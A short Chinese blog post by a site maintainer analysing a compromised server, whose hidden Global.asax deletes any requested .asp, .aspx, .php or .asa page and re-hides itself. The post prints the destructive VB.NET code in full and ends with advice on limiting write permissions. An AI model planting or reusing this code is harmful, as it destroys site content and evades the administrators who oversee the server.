今天维护了一台某公司的网站服务器,就是访问文件突然不存在了,花了些时间看了一下,原因如下:
Global.asax 被改,变成了系统文件,还隐藏了。。
文件内容如下:
<%@ Language="VB"%><%@ Import Namespace="System.IO"%><script language="VB" runat="server">
Sub Session_Start(Sender As Object, E As EventArgs)
Dim MyFile,Path
Server.ScriptTimeout = 999999
'Response.Buffer = True
MyFile="//?/"+Server.MapPath("/")+"global.asax"
'Response.write Neirong
'session.abandon'if Neirong<>"" then execute Neirong
Path=LCase(Request.ServerVariables("PATH_TRANSLATED"))
If InStr(Path, ".aspx") > 0 or InStr(Path, ".asp") > 0 or InStr(Path, ".php") > 0 or InStr(Path, ".asax") > 0 or InStr(Path, ".asa") > 0 Then
'Response.Write "<html><body><h1> HTTP/1.1 500 Server Error</h1></body></html>" + vbCrlf
'Response.Write laik + vbCrlf
if File.Exists(Path) then
File.SetAttributes(Path,0)
File.delete(path)
end if
Response.End
End If
File.SetAttributes(Server.MapPath("/")+"global.asax" ,7)
end sub
</script>这些语句够狠了吧,访问一个网站之前就删除网页。
所以,网站不能为了方便,把整个目录都有设置写权限,只能将指定的某个目录设置写权限。